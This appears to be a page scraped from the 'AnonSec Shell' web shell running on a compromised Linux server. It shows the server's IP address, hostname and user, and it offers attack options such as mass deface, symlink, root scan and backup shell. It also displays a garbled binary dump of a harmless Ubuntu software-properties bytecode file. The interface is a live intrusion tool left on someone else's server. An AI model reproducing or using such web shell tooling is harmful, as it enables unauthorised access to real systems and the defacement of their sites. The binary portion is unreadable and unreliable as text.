AnonSec Shell
Server IP : 5.101.180.230  /  Your IP : 216.73.217.19   [ Reverse IP ]
Web Server : Apache/2.4.62 (Debian)
System : Linux s4261ad19.fastvps-server.com 6.1.0-30-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.124-1 (2025-01-12) x86_64
User : mrnews_ru_usr ( 1030)
PHP Version : 8.2.26
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/softwareproperties/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/softwareproperties/__pycache__/cloudarchive.cpython-311.pyc
�

��c�� �ddlZddlZddlmZddlmZmZmZddlm	Z	ddl
mZddlm
Z
idd�d	d�d
d�dd�dd
�dd
�dd
�dd
�dd�dd�dd�dd�dd�dd�dd�dd�dd�dddddd��ZdZd Zd!Zd"d#gZd$d%gZedZd&ZGd'�d(e��ZdS))�N)�gettext)�ShortcutHandler�ShortcutException�InvalidShortcutException)�SourcesListShortcutHandler)�URIShortcutHandler)�urlparse�folsom�precise�grizzly�havana�icehouse�juno�trusty�kilo�liberty�mitaka�newton�xenial�ocata�pike�queens�rocky�bionic�stein�train�ussuri�victoria�focal�jammy)�wallaby�xena�yoga�zed�antelopezUbuntu Cloud Archivez.https://wiki.ubuntu.com/OpenStack/CloudArchivez0http://ubuntu-cloud.archive.canonical.com/ubuntuz
cloud-archive�uca�updates�proposedzubuntu-cloud-keyringc�t��eZdZ�fd�Zed���Zed���Zd�Zd�fd�	Zd�Z	d�Z
d	�Zd
�Z�xZ
S)�CloudArchiveShortcutHandlerc���tt|��j|fi|��d|_t	|�|��|�|��|�|��f��s!td��|z}t|���|j�
��|_d|jz|_|j�
��|_|jtvr&td��|jz}t|���|jtvr&td��|jz}t|���t|j}t!|t#jd��p|f��}|j|vrLtd��|j���|���fz}t|���t*�d|j�����|_|jdkr|xjd	z
c_|jsc|j�d
|j�d|j��}d�|j��pd
}|j�dt6�d|�d|��}|�|��dSdS)Nz&not a valid cloud-archive format: '%s'zcloudarchive-%sz&not a valid cloud-archive pocket: '%s'znot a valid cloud-archive: '%s'�CA_ALLOW_CODENAMEz)cloud-archive for %s only supported on %sz for OpenStack r(z [proposed]�-�/� �main)�superr*�__init__�caname�any�
_match_uca�
_match_uri�_match_sourceslist�_r�lower�	_filebase�pocket�UCA_VALID_POCKETSr�RELEASE_MAP�set�os�getenv�codename�
capitalize�UCA�_description�
_source_entry�join�
components�binary_type�UCA_ARCHIVE�_set_source_entry)
�self�shortcut�kwargs�msgrA�
validnames�dist�comps�line�	__class__s
         ��A/usr/lib/python3/dist-packages/softwareproperties/cloudarchive.pyr2z$CloudArchiveShortcutHandler.__init__Gs����9��)�4�0�0�9�(�M�M�f�M�M�M�����D�O�O�H�-�-��O�O�H�-�-��+�+�H�5�5�7�8�8�	0��=�>�>��I�C�*�3�/�/�/��k�'�'�)�)���*�T�[�8����k�'�'�)�)����{�/�/�/��=�>�>���L�C�#�C�(�(�(��{�k�)�)��6�7�7�$�+�E�C�#�C�(�(�(��t�{�+���(�B�I�.A�$B�$B�$N�h�O�P�P�
��=�
�*�*��@�A�A��K�*�*�,�,�h�.A�.A�.C�.C�D�E�C�#�C�(�(�(�"�M�M�4�;�3I�3I�3K�3K�M�M����;�*�$�$�����.����!�	)��m�A�A�d�k�A�A�D�K�A�A�D��H�H�T�_�-�-�7��E��&�E�E��E�E�t�E�E�e�E�E�D��"�"�4�(�(�(�(�(�		)�	)�c��|jS�N)rD�rKs rT�descriptionz'CloudArchiveShortcutHandler.descriptionps��� � rUc��tSrW)�WEB_LINKrXs rT�web_linkz$CloudArchiveShortcutHandler.web_linkts���rUc�f�tjdt�����d���dS)Nzapt-get install -y T)�check)�
subprocess�run�UCA_KEYRING_PACKAGE�splitrXs rT�add_keyz#CloudArchiveShortcutHandler.add_keyxs4����B�-@�B�B�H�H�J�J�RV�W�W�W�W�W�WrUNc�R��tt|�����SrW)r1r*�_encode_filebase)rK�suffixrSs  �rTrez,CloudArchiveShortcutHandler._encode_filebase|s ����0�$�7�7�H�H�J�J�JrUc���|�d��\}}}|���tvrdS|�d��\}}}|sdS||_|p
|jpt|_dS)N�:Fr-T)�
rpartitionr9�UCA_PREFIXES�	partitionr3r;�UCA_DEFAULT_POCKET)rKrL�prefixr8r&r3r;s       rTr5z&CloudArchiveShortcutHandler._match_uca�sy��#�.�.�s�3�3����C��|�|�~�~��-�-��5�!�m�m�C�0�0����F��	��5�����A���A�/A����trUc�j�	|�t|����S#t$rYdSwxYw�NF)�_match_handlerrr�rKrLs  rTr6z&CloudArchiveShortcutHandler._match_uri�sF��	��&�&�'9�(�'C�'C�D�D�D��'�	�	�	��5�5�	�����!$�
2�2c�j�	|�t|����S#t$rYdSwxYwro)rprrrqs  rTr7z.CloudArchiveShortcutHandler._match_sourceslist�sF��	��&�&�'A�(�'K�'K�L�L�L��'�	�	�	��5�5�	���rrc���t|���j��}|jtt��jkrdS|���j�d��\}}}|�d��\}}}t||f��sdS||_|p
|j	pt|_	|�|���j��dS)NFr.r-T)
r	�SourceEntry�uri�hostnamerIrPrk�allr3r;rlrJrR)rK�handler�parsedrAr8r3r;s       rTrpz*CloudArchiveShortcutHandler._match_handler�s����'�-�-�/�/�3�4�4���?�h�{�3�3�<�<�<��5� '� 3� 3� 5� 5� :� D� D�S� I� I���1�f� (� 2� 2�3� 7� 7���1�f��H�f�%�&�&�	��5�����A���A�/A������w�2�2�4�4�9�:�:�:��trUrW)�__name__�
__module__�__qualname__r2�propertyrYr\rcrer5r6r7rp�
__classcell__)rSs@rTr*r*Fs��������')�')�')�')�')�R�!�!��X�!�����X��X�X�X�K�K�K�K�K�K����������������rUr*)r?r_rr8�"softwareproperties.shortcuthandlerrrr�softwareproperties.sourceslistr�softwareproperties.urir�urllib.parser	r=rCr[rIrjr<rlrar*�rUrT�<module>r�s��,
�	�	�	����� � � � � � �J�J�J�J�J�J�J�J�J�J�E�E�E�E�E�E�5�5�5�5�5�5�!�!�!�!�!�!���i��
�y��
�i���	�	�
�H���H�
��x��
�h��
�h���X���H��
�h���X���X���X�� 
�h�!�"��#�$�����-����0��;��@����'���
�+��&�q�)��,��b�b�b�b�b�/�b�b�b�b�brU

Anon7 - 2022
AnonSec Team